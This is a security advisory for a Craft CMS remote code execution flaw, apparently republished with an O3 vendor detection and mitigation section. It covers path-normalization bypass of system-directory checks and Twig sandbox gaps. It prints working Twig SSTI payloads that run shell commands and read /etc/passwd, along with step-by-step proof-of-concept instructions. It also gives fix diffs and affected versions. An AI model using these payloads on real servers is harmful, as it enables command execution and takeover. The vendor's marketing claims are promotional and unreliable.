GHSA-f3cw-hg6r-chfv
HIGHCraft CMS vulnerable to Potential Remote Code Execution via missing path normalization & Twig SSTI
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
craftcms/cms🐘craftcms/cmsReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Missing normalizePath in the function FileHelper::absolutePath could lead to Remote Code Execution on the server via twig SSTI.
(Post-authentication, ALLOW_ADMIN_CHANGES=true)
Details
Note: This is a sequel to CVE-2023-40035
In src/helpers/FileHelper.php#L106-L137, the function absolutePath returned $from . $ds . $to without path normalization:
/**
* Returns an absolute path based on a source location or the current working directory.
*
* @param string $to The target path.
* @param string|null $from The source location. Defaults to the current working directory.
* @param string $ds the directory separator to be used in the normalized result. Defaults to `DIRECTORY_SEPARATOR`.
* @return string
* @since 4.3.5
*/
public static function absolutePath(
string $to,
?string $from = null,
string $ds = DIRECTORY_SEPARATOR,
): string {
$to = static::normalizePath($to, $ds);
// Already absolute?
if (
str_starts_with($to, $ds) ||
preg_match(sprintf('/^[A-Z]:%s/', preg_quote($ds, '/')), $to)
) {
return $to;
}
if ($from === null) {
$from = FileHelper::normalizePath(getcwd(), $ds);
} else {
$from = static::absolutePath($from, ds: $ds);
}
return $from . $ds . $to;
}
This could leads to multiple security risks, one of them is in src/services/Security.php#L201-L220 where ../templates/poc is not considered a system dir.
Let's see what happens after calling isSystemDir("../templates/poc"):
/**
* Returns whether the given file path is located within or above any system directories.
*
* @param string $path
* @return bool
* @since 5.4.2
*/
public function isSystemDir(string $path): bool // $path = "../templates/poc"
{
$path = FileHelper::absolutePath($path, '/'); // $path = "/var/www/html/web//../templates/poc"
foreach (Craft::$app->getPath()->getSystemPaths() as $dir) {
$dir = FileHelper::absolutePath($dir, '/'); // $dir = "/var/www/html/templates"
if (str_starts_with("$path/", "$dir/") || str_starts_with("$dir/", "$path/")) { // if (false || false)
return true;
}
}
return false; // We're here!
}
Now that the path ../templates/poc can bypass isSystemDir, it will also bypass the function validatePath in src/fs/Local.php#L124-L136:
/**
* @param string $attribute
* @param array|null $params
* @param InlineValidator $validator
* @return void
* @since 4.4.6
*/
public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void
{
if (Craft::$app->getSecurity()->isSystemDir($this->getRootPath())) {
$validator->addError($this, $attribute, Craft::t('app', 'Local filesystems cannot be located within or above system directories.'));
}
}
We can now create a Local filesystem within the system directories, particularly in /var/www/html/templates/poc
Then create a new asset volume with that filesystem, upload a poc.ttml file with twig code and execute using a new route with template path poc/poc.ttml
Although craftcms does sandbox twig ssti, the list in src/web/twig/Extension.php#L180-L268 is still incomplete.
{{['id'] has some 'system'}}
{{['ls'] has every 'passthru'}}
{{['cat /etc/passwd']|find('system')}}
{{['id;pwd;ls -altr /']|find('passthru')}}
These payloads still work, see twigphp/Twig/src/Extension/CoreExtension.php#getFilters() and twigphp/Twig/src/Extension/CoreExtension.php#getOperators() for more informations.
PoC
- Craft CMS was installed using https://craftcms.com/docs/4.x/installation.html#quick-start
mkdir craftcms && cd craftcms
ddev config --project-type=craftcms --docroot=web --create-docroot
ddev composer create -y --no-scripts "craftcms/craft"
ddev craft install
php craft setup/security-key
ddev start
<img width="1280" alt="start" src="https://github.com/user-attachments/assets/f8bcc22a-6ffd-40a5-81c6-c077fa4ce1d3">
- Create a new filesystem with base path
../templates/poc
Notice that the poc directory was created
- Create a new asset volume using the
pocfilesystem
Upload a poc.ttml file with RCE template code
{{'<pre>'}}
{{ 8*8 }}
{{['id'] has some 'system'}}
{{['ls'] has every 'passthru'}}
{{['cat /etc/passwd']|find('system')}}
{{['id;pwd;ls -altr /']|find('passthru')}}
Note: find was added to twig last month. If you're running this poc on an older version of twig try removing the last 2 lines.
- Create a new route
*with templatepoc/poc.ttml
- This leads to Remote Code Execution on arbitrary route
/*
Remediation
diff --git a/src/helpers/FileHelper.php b/src/helpers/FileHelper.php
index 0c2da884a7..ac23ce556a 100644
--- a/src/helpers/FileHelper.php
+++ b/src/helpers/FileHelper.php
@@ -133,7 +133,7 @@ class FileHelper extends \yii\helpers\FileHelper
$from = static::absolutePath($from, ds: $ds);
}
- return $from . $ds . $to;
+ return FileHelper::normalizePath($from . $ds . $to);
}
/**
See twigphp/Twig/src/Extension/CoreExtension.php for updated filters and operators, a possible fix could look like:
diff --git a/src/web/twig/Extension.php b/src/web/twig/Extension.php
index efff2d2412..756f452f8b 100644
--- a/src/web/twig/Extension.php
+++ b/src/web/twig/Extension.php
@@ -225,6 +225,9 @@ class Extension extends AbstractExtension implements GlobalsInterface
new TwigFilter('lcfirst', [$this, 'lcfirstFilter']),
new TwigFilter('literal', [$this, 'literalFilter']),
new TwigFilter('map', [$this, 'mapFilter'], ['needs_environment' => true]),
+ new TwigFilter('find', [$this, 'find'], ['needs_environment' => true]),
+ new TwigFilter('has some' => ['precedence' => 20, 'class' => HasSomeBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]),
+ new TwigFilter('has every' => ['precedence' => 20, 'class' => HasEveryBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]),
new TwigFilter('markdown', [$this, 'markdownFilter'], ['is_safe' => ['html']]),
new TwigFilter('md', [$this, 'markdownFilter'], ['is_safe' => ['html']]),
new TwigFilter('merge', [$this, 'mergeFilter']),
Impact
Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.
Although the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | craftcms/cms | ≥ 4.0.0-RC1&&< 4.12.2 | 4.12.2 |
| 🐘Packagist | craftcms/cms | ≥ 5.0.0-RC1&&< 5.4.3 | 5.4.3 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for craftcms/cms. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update craftcms/cms to 4.12.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-f3cw-hg6r-chfv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-f3cw-hg6r-chfv is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-f3cw-hg6r-chfv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-f3cw-hg6r-chfv in your dependencies?
O3 detects GHSA-f3cw-hg6r-chfv across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.